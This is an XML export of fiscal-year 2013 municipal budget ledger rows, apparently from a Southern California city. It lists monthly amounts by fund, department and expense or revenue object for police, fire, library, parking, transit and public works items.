<row _id="2134"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>4707</april><may>0</may><june>0.0</june><total>4707.0</total></row>
<row _id="2135"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9448.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9448.0</total></row>
<row _id="2136"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>55216.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>552</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>55768.0</total></row>
<row _id="2137"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>23307.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>233</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23540.0</total></row>
<row _id="2138"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5289.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5289.0</total></row>
<row _id="2139"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3538.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>35</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3573.0</total></row>
<row _id="2140"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>144.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>144.0</total></row>
<row _id="2141"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3930.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-145</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3785.0</total></row>
<row _id="2142"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401009.0</object><object_description>SWIM CENTER-AQUATIC SUPPLIES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2143"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>404760.0</object><object_description>RENT/PROP FEES - KEC</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2144"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>599062.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>5991</february><march>0.0</march><april>-605053</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2145"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2967.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>30</february><march>0.0</march><april>-2997</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2146"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>831.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-831</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2147"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4660.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>47</february><march>0.0</march><april>-4707</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2148"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-5000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2149"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>918.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-918</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2150"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6250.0</total></row>
<row _id="2151"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570100.0</object><object_description>PEG TRANSFER TO FUND 01</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>262757</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>262757.0</total></row>
<row _id="2152"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400772.0</object><object_description>JONATHAN CLUB LEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-125000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-125000.0</total></row>
<row _id="2153"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>400308.0</object><object_description>VALET PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-341700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>341700</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2154"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>36000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36000.0</total></row>
<row _id="2155"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577520.0</object><object_description>INVESTMENT TRANSFERS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-344318.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-344318.0</total></row>
<row _id="2156"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2588.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>26</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2614.0</total></row>
<row _id="2157"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-125000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1250</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-126250.0</total></row>
<row _id="2158"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6424.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6424.0</total></row>
<row _id="2159"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404290.0</object><object_description>MEASURE R LOCAL RETURN</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2013</fiscal_year><july>-842068.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-842068.0</total></row>
<row _id="2160"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="2161"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
<row _id="2162"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
<row _id="2163"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556110.0</object><object_description>DECEDENT TRANSPORTION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="2164"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="2165"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407210.0</object><object_description>EVENT PERMIT FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-8559.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8559.0</total></row>
<row _id="2166"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407220.0</object><object_description>NEIGHBOR NOTIFICATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-20995.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20995.0</total></row>
<row _id="2167"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1576.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-1576</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2168"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>400290.0</object><object_description>PREF PARKING PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-980000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>980000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2169"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>400310.0</object><object_description>STRUCTURE ATTENDANT PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-6700000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-400000</february><march>0.0</march><april>7100000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2170"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="2171"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401311.0</object><object_description>CONTRACT CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2172"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407220.0</object><object_description>NEIGHBOR NOTIFICATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2173"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-40000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-400</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-40400.0</total></row>
<row _id="2174"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511560.0</object><object_description>CAPITALIZED LABOR</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-55000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-550</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-55550.0</total></row>
<row _id="2175"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6130.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6130.0</total></row>
<row _id="2176"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>675.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>675.0</total></row>
<row _id="2177"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555395.0</object><object_description>09 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>99378.0</september><october>-99378.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2178"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>180.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>180.0</total></row>
<row _id="2179"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="2180"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>400.0</total></row>
<row _id="2181"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
